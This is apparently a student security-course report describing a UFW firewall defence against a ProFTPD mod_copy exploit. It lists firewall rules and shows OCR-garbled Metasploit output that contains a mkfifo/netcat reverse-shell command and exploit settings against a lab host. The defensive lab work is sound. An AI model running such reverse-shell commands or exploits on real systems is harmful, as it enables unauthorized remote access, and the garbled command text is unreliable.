ICS 344 Project Phase 3

Defence

A good defence for this vulnerability would be to add a firewall to block any unwanted connections.

A UFW (uncomplicated firewall) will be used to protect this vulnerability.

First, we run "sudo apt install ufw". Then we enable and set strict incoming and outgoing rules for the firewall, allowing only necessary ports:

```
To
                                              From
                                 Action
[ 1] 21
                                 DENY IN
                                              Anywhere
[ 2] 22
                                 DENY IN
                                              Anywhere
[ 3] 80
                                 ALLOW IN
                                              Anywhere
[ 4] 4444
                                 DENY IN
                                              Anywhere
 51 22
                                              192.168.16.0/24
                                 ALLOW IN
[ 6] 53
                                 ALLOW OUT
                                              Anywhere (out)
[ 7] 80
                                 ALLOW OUT
                                              Anywhere (out)
[ 8] 443
                                 ALLOW OUT
                                              Anywhere (out)
[ 9] 21 (v6)
                                 DENY IN
                                              Anywhere (v6)
[10] 22 (v6)
                                 DENY IN
                                              Anywhere (v6)
[11] 80 (v6)
                                 ALLOW IN
                                              Anywhere (v6)
[12] 4444 (v6)
                                 DENY IN
                                              Anywhere (v6)
[13] 53 (v6)
                                 ALLOW OUT
                                              Anywhere (v6) (out)
[14] 80 (v6)
                                 ALLOW OUT
                                              Anywhere (v6) (out)
[15] 443 (v6)
                                 ALLOW OUT
                                              Anywhere (v6) (out)
```

Therefore, the connection wasn't listened to by the attacker after an attempt to.

The following picture shows how it is after implementing the firewall:

```
File Actions Edit View Help

[*] Processing ExploitFile.rc for ERB directives.
resource (ExploitFile.rc) use exploit/unix/ftp/proftpd_modcopy_exec

[*] No payload configured, defaulting to cond/unix/reverse_netcat
resource (ExploitFile.rc) set RHOSTS 192.168.16.166
RHOSTS => 192.168.16.166
resource (ExploitFile.rc) set LHOST 192.168.16.167
LHOST => 192.168.16.166
resource (ExploitFile.rc) set SITEPATH /var/www/html
SITEPATH => /var/www/htm /var/www/html
resource (ExploitFile.rc) set AllowHocleanup true
Accounce (ExploitFile.rc) set CMD rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>61|nc 192.168
RHOSTS => 192.168.16.166:80 - Thorse to CMD rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>61|nc 192.168
RHOSTS => 192.168.16.166:80 - 192.168.16.166:21 - Sending copy commands to FTP server

[*] 192.168.16.166:80 - This exploit may require manual cleanup of '/var/www/html/YzJTr.php' on the target
[*] 192.168.16.166:80 - This exploit may require manual cleanup of '/var/www/html/YzJTr.php' on the target
[*] Exploit completed, but no session was created.

msff exploit(unix/fip/proftpd_mathrayy_asser) >
```

The following picture shows how it was **before** implementing the firewall: